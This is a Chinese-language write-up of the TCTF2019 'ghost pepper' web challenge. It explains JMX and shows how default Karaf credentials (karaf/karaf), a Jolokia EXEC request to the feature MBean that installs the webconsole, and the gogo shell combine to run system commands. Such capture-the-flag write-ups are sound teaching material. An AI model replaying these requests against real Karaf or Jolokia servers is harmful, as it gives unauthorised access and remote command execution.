美文网首页
TCTF2019 web1

TCTF2019 web1

作者: Litchi_0424 | 来源:发表于2019-03-28 16:01 被阅读0次

    ghost pepper

    访问网站,需要401认证,抓包看一下,发现有realm="karaf",网上搜索一些karaf有关资料,发现其的默认用户名与密码为karaf/karaf,成功登录,登录上去发现访问的目录都是404,这里联想一下ghost pepper,由于网站的服务器是jetty,猜测题目的意思应该是某一个java的组件,一番搜索之后发现jolokia的logo是一个辣椒(Lombok的logo也是一个辣椒),这里访问/jolokia成功访问。

    这个jolokia是一个JMXJava Management Extensions管理程序。

    什么是JMX

    就是一个用于管理java应用程序的拓展,可以很方便的监控运行中的jvm中的各种数据。

    JMX架构

    1553650374424.png

    JMX的架构分为3层,

    1. 最底层是Meban,就是Managed Bean,类似于javabean,遵循一定的规范,我们可以把需要管理的一些属性集成在Mbean中,来统一管理。通过MBean中暴露的方法和属性,外界可以获取被管理的资源的状态和操纵MBean的行为,外界使用自醒和反射来获取Object的值和调用Object的方法,只是MBean更为复杂和高级一些。MBean通过公共方法以及遵从特定的设计模式封装了属性和操作,以便暴露给管理应用程序。例如,一个只读属性在管理构件中只有Get方法,既有Get又有Set方法表示是一个可读写的属性。一共有四种类型的MBean: Standard MBean, Dynamic MBean, Open MBean, Model MBean。
    2. 往上是代理层,用于注册管理MBean,可以理解为有点像容器,同时暴露出接口供上层来远程调用。
    3. 远程调用接口来管理MBean,可以使用http,snmp等来访问。

    回到题目,我们可以调用/jolokia/list来列出所有的注册的Mbean,这里我们发现karaf中有一个Mbean是用来管理karaf的feature的。在查阅资料的时候发现karaf是可以安装一个webconsole的。我们就想用这个Mbean来安装这个webconsole

    "installFeature": [{
                            "args": [{
                                "name": "p1",
                                "type": "java.lang.String",
                                "desc": ""
                            }, {
                                "name": "p2",
                                "type": "java.lang.String",
                                "desc": ""
                            }, {
                                "name": "p3",
                                "type": "boolean",
                                "desc": ""
                            }, {
                                "name": "p4",
                                "type": "boolean",
                                "desc": ""
                            }],
                            "ret": "void",
                            "desc": "Operation exposed for management"
                        }
    

    用Postman构造post包。这里注意要修改content-type

    {
        "type": "EXEC",
        "mbean": "org.apache.karaf:name=root,type=feature",
        "operation": "installFeature",
        "arguments": ["webconsole"]
    }
    

    返回包部分:

    {"mbean":"org.apache.karaf:name=root,type=feature","arguments":["webconsole"],"type":"exec","operation":"installFeature"},"stacktrace":"java.lang.IllegalArgumentException: Operation installFeature on MBean org.apache.karaf:name=root,type=feature is overloaded. Signatures found: (java.lang.String,java.lang.String,boolean,boolean),(java.lang.String,java.lang.String),(java.lang.String,boolean,boolean),(java.lang.String,boolean),(java.lang.String),(java.lang.String,java.lang.String,boolean)
    

    这里提示这个方法被重载了,我们应该指定调用哪一个方法。

    {
        "type": "EXEC",
        "mbean": "org.apache.karaf:name=root,type=feature",
        "operation": "installFeature(java.lang.String)",
        "arguments": ["webconsole"]
    }
    

    然后我们访问/system/console,在main中进入gogo控制台

    然后使用exec 执行系统命令,在根目录下可以找到flag

    相关文章

      网友评论

          本文标题:TCTF2019 web1

          本文链接:https://www.haomeiwen.com/subject/fetcbqtx.html